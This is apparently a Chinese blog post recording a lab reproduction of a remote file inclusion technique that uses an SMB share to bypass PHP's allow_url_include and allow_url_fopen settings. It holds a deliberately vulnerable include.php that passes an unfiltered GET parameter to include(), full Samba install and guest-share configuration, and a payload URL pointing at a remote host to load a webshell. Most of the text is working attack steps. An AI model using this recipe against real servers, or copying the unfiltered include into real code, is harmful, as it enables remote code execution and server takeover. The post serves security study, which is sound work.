在Seebug看到RFI 绕过 URL 包含限制 getshell这篇文章,本地调试学习记录一波。
主要描述php在配置如下时,如何使用SMB协议在局域网内突破远程文件包含getshell。
allow_url_fopen=off
allow_url_include=off
通过上述配置,PHP不加载远程HTTP或FTP URL,进而防止远程文件包含攻击。但即使allow_url_include
和allow_url_fopen
都设置为off,PHP也不会阻止SMB URL加载。
本地进行简单的测试
include.php
<?php
$file=$_GET['file'];
include($file);
?>
- 在远程服务器上安装SAMBA服务器:
apt-get install samba
- 创建SMB共享目录:
mkdir /var/www/html/pub/
- 配置新创建的SMB共享目录的权限:
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
修改SAMBA服务器配置文件(/etc/samba/smb.conf)内容如下:
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ethan]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
- 重新启动SAMBA服务器
service smbd restart
同时在/var/www/html/pub/文件夹中放置webshell
通过访问file=\\192.168.6.131\ethan\ant.php
成功包含远程shell